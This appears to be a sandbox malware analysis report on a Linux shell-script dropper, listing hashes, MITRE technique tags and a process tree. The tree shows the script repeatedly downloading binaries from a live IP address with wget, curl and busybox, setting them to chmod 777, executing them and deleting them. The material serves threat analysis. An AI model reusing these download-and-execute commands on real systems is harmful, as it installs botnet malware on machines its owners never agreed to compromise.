970c82aef6a4bf4b8964863defd25df3028e2d165f2a8209ffa7444276ce81fb

Analysis

max time kernel
78s
max time network
147s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
11/11/2024, 02:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
970c82aef6a4bf4b8964863defd25df3028e2d165f2a8209ffa7444276ce81fb.sh
Size 10KB
Sample241111-c85j7azpew
SHA256 970c82aef6a4bf4b8964863defd25df3028e2d165f2a8209ffa7444276ce81fb
MD5 627a74dd29162a1ea15de4813776cb5a
SHA1 482e1ad8155e7e7abbb395e61d96b76f72496cf0
SHA512 d85cbebdce8494b03b16efe2ffd1e9560005a78430fa54ea5bac8708a4098fe20e65eadbda58d5fdb4d8f53c452d300f14333535bc6df551d311f327dc36e2ff
SSDEEP 192:YDUsrEyBJT5cEFBqmiSofkGuFBqmiSNsrEyBJN5:YUsrEyBJT5cJpMaqsrEyBJn
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
745	chmod
773	chmod
808	chmod
925	chmod
842	chmod
862	chmod
931	chmod
943	chmod
955	chmod
961	chmod
919	chmod
802	chmod
850	chmod
949	chmod
871	chmod
877	chmod
901	chmod
913	chmod
856	chmod
973	chmod
883	chmod
889	chmod
937	chmod
967	chmod
985	chmod
895	chmod
907	chmod
979	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
951	rm
857	4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
858	rm
946	wget
948	busybox
950	4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
853	wget
854	curl
855	busybox
947	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG	curl
File opened for modification	/tmp/iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq	curl
File opened for modification	/tmp/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f	curl
File opened for modification	/tmp/mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB	curl
File opened for modification	/tmp/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ	curl
File opened for modification	/tmp/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe	curl
File opened for modification	/tmp/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ	curl
File opened for modification	/tmp/sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu	curl
File opened for modification	/tmp/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5	curl
File opened for modification	/tmp/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe	curl
File opened for modification	/tmp/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG	curl
File opened for modification	/tmp/sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu	curl
File opened for modification	/tmp/p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu	curl
File opened for modification	/tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr	curl
File opened for modification	/tmp/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ	curl
File opened for modification	/tmp/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5	curl
File opened for modification	/tmp/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG	curl
File opened for modification	/tmp/p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu	curl
File opened for modification	/tmp/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt	curl
File opened for modification	/tmp/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f	curl
File opened for modification	/tmp/fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG	curl
File opened for modification	/tmp/iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq	curl
File opened for modification	/tmp/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ	curl
File opened for modification	/tmp/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ	curl
File opened for modification	/tmp/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ	curl
File opened for modification	/tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr	curl
File opened for modification	/tmp/mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB	curl
File opened for modification	/tmp/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt	curl

/tmp/970c82aef6a4bf4b8964863defd25df3028e2d165f2a8209ffa7444276ce81fb.sh
/tmp/970c82aef6a4bf4b8964863defd25df3028e2d165f2a8209ffa7444276ce81fb.sh
1⤵
PID:714
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:717
- /usr/bin/wget
  wget http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  PID:722
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:735
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  PID:744
- /bin/chmod
  chmod 777 xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  ./xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  PID:747
- /usr/bin/wget
  wget http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  PID:767
- /bin/chmod
  chmod 777 VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  ./VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  - Executes dropped EXE
  PID:774
- /bin/rm
  rm VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  PID:777
- /usr/bin/wget
  wget http://216.126.231.240/bins/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  PID:778
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  PID:796
- /bin/chmod
  chmod 777 zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  ./zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  - Executes dropped EXE
  PID:803
- /bin/rm
  rm zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  PID:804
- /usr/bin/wget
  wget http://216.126.231.240/bins/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  PID:805
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:806
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  PID:807
- /bin/chmod
  chmod 777 UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  ./UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  - Executes dropped EXE
  PID:809
- /bin/rm
  rm UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  PID:810
- /usr/bin/wget
  wget http://216.126.231.240/bins/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  PID:811
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:826
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  PID:835
- /bin/chmod
  chmod 777 qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  ./qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  - Executes dropped EXE
  PID:843
- /bin/rm
  rm qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  PID:846
- /usr/bin/wget
  wget http://216.126.231.240/bins/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  PID:847
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:848
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  PID:849
- /bin/chmod
  chmod 777 x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  ./x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  - Executes dropped EXE
  PID:851
- /bin/rm
  rm x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  PID:852
- /usr/bin/wget
  wget http://216.126.231.240/bins/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - System Network Configuration Discovery
  PID:853
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:854
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - System Network Configuration Discovery
  PID:855
- /bin/chmod
  chmod 777 4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  ./4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:857
- /bin/rm
  rm 4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - System Network Configuration Discovery
  PID:858
- /usr/bin/wget
  wget http://216.126.231.240/bins/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  PID:859
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  PID:861
- /bin/chmod
  chmod 777 rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  ./rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  PID:864
- /usr/bin/wget
  wget http://216.126.231.240/bins/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  PID:865
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  PID:867
- /bin/chmod
  chmod 777 bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  ./bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  PID:873
- /usr/bin/wget
  wget http://216.126.231.240/bins/mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  2⤵
  PID:876
- /bin/chmod
  chmod 777 mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  ./mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm mmCEnRhvLGLJYSX64sZg9j8E66SjjCtodB
  2⤵
  PID:879
- /usr/bin/wget
  wget http://216.126.231.240/bins/sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  2⤵
  PID:882
- /bin/chmod
  chmod 777 sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  ./sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  2⤵
  PID:885
- /usr/bin/wget
  wget http://216.126.231.240/bins/iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  2⤵
  PID:888
- /bin/chmod
  chmod 777 iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  ./iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm iL9Baoqh9639Ag7W5BeyO5INx1k0eyvaSq
  2⤵
  PID:891
- /usr/bin/wget
  wget http://216.126.231.240/bins/fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  2⤵
  PID:894
- /bin/chmod
  chmod 777 fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  ./fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm fcSAke9uZi95dTR1RIhwpynGlzaAdr8oZG
  2⤵
  PID:897
- /usr/bin/wget
  wget http://216.126.231.240/bins/p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  2⤵
  PID:900
- /bin/chmod
  chmod 777 p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  ./p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm p0eOqhbajIk1Gf8rz6cBamMvDfFKZD8NJu
  2⤵
  PID:903
- /usr/bin/wget
  wget http://216.126.231.240/bins/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  PID:906
- /bin/chmod
  chmod 777 UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  ./UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm UzqrseNIB42yZ4g3ddJHk8gkuGuCdI8OeJ
  2⤵
  PID:909
- /usr/bin/wget
  wget http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  PID:912
- /bin/chmod
  chmod 777 xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  ./xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm xL3BQUpc8QAJ70F326FRFc6CGhA6wWoiEr
  2⤵
  PID:915
- /usr/bin/wget
  wget http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  PID:916
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  PID:918
- /bin/chmod
  chmod 777 VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  ./VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm VeKZnCbz7l8zFDOy3S883dxkZAHJU6iJEt
  2⤵
  PID:921
- /usr/bin/wget
  wget http://216.126.231.240/bins/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  PID:922
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  PID:924
- /bin/chmod
  chmod 777 zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  ./zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm zRqliBxGfoi6bhiIWFrbyd0pvfwHWgyiTe
  2⤵
  PID:927
- /usr/bin/wget
  wget http://216.126.231.240/bins/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  PID:930
- /bin/chmod
  chmod 777 bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  ./bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm bNZBqLkAkEuRYQ7pHBn03H3lf7tS98btXQ
  2⤵
  PID:933
- /usr/bin/wget
  wget http://216.126.231.240/bins/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  PID:934
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  PID:936
- /bin/chmod
  chmod 777 qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  ./qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm qmio2gaKVX02n509oQy4KgfiKqMAIRc2P5
  2⤵
  PID:939
- /usr/bin/wget
  wget http://216.126.231.240/bins/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  PID:940
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  PID:942
- /bin/chmod
  chmod 777 x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  ./x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm x4JynfPQw05ViG71QjtgffqW7ywb6hIHkG
  2⤵
  PID:945
- /usr/bin/wget
  wget http://216.126.231.240/bins/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - System Network Configuration Discovery
  PID:946
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - System Network Configuration Discovery
  PID:948
- /bin/chmod
  chmod 777 4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  ./4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:950
- /bin/rm
  rm 4jpwcHjPndQyGOPAW0AUIPvbLF56znfoiQ
  2⤵
  - System Network Configuration Discovery
  PID:951
- /usr/bin/wget
  wget http://216.126.231.240/bins/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  PID:952
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  PID:954
- /bin/chmod
  chmod 777 rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  ./rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  - Executes dropped EXE
  PID:956
- /bin/rm
  rm rmzbmtxGB0Mi8A05Q0F8XElCVOVmdog43f
  2⤵
  PID:957
- /usr/bin/wget
  wget http://216.126.231.240/bins/sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  2⤵
  PID:958
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  2⤵
  PID:960
- /bin/chmod
  chmod 777 sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  ./sREUD4bAYjNR4i9k8cVAygDGcJ5w3VjSfu
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
